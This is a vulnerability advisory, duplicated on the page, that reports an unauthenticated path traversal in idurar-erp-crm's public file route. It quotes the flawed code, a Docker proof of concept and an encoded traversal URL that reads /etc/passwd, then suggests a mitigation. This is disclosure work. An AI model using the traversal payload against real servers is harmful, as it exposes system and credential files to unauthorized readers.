Summary
Greetings team, me and Nishant discovered a path traversal issue on the Idurar-erp-crm.
Reference link to the security bug class: https://owasp.org/www-community/attacks/Path_Traversal
Details
The vulnerability exists in the corePublicRouter.js file.
Using the reference usage here, it is identified that the public endpoint is accessible to an unauthenticated user.
|
app.use('/public', corePublicRouter); |
The user's input is directly appended to the join statement without additional checks on
line 13. This allows an attacker to send URL encoded malicious payload.
|
router.route('/:subPath/:directory/:file').get(function (req, res) { |
|
try { |
|
const { subPath, directory, file } = req.params; |
|
|
|
const options = { |
|
root: path.join(__dirname, `../../public/${subPath}/${directory}`), |
|
}; |
|
const fileName = file; |
|
return res.sendFile(fileName, options, function (error) { |
|
if (error) { |
|
return res.status(404).json({ |
|
success: false, |
|
result: null, |
|
message: 'we could not find : ' + file, |
|
}); |
The directory structure can be escaped to read system files by adding an encoded string (payload) at subpath location /public/
inject-here/:directory/:file
PoC
Deploy the application with docker using the following commands:
git clone https://github.com/idurar/idurar-erp-crm.git
cd idurar-erp-crm
docker-compose up -d
Visit the URL given below:
http://localhost:8888/public/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd
The following screenshot represents that the etc/passwd file is readable by an unauthenticated user.
Impact
Unauthenticated user can read any critical file on the server.
Mitigation
Sanitize the unauthenticated user input. Use path.normalize to fix the issue. https://nodejs.org/api/path.html#path_path_normalize_path
DoMINAToR98 Reporter
realArcherL Reporter
Summary
Greetings team, me and Nishant discovered a path traversal issue on the Idurar-erp-crm.
Reference link to the security bug class: https://owasp.org/www-community/attacks/Path_Traversal
Details
The vulnerability exists in the
corePublicRouter.jsfile.Using the reference usage here, it is identified that the
publicendpoint is accessible to an unauthenticated user.idurar-erp-crm/backend/src/app.js
Line 43 in d7b2215
The user's input is directly appended to the join statement without additional checks on
line 13. This allows an attacker to send URL encoded malicious payload.idurar-erp-crm/backend/src/routes/coreRoutes/corePublicRouter.js
Lines 8 to 22 in d7b2215
The directory structure can be escaped to read system files by adding an encoded string (payload) at subpath location /public/
inject-here/:directory/:filePoC
Deploy the application with docker using the following commands:
Visit the URL given below:
The following screenshot represents that the
etc/passwdfile is readable by an unauthenticated user.Impact
Unauthenticated user can read any critical file on the server.
Mitigation
Sanitize the unauthenticated user input. Use path.normalize to fix the issue. https://nodejs.org/api/path.html#path_path_normalize_path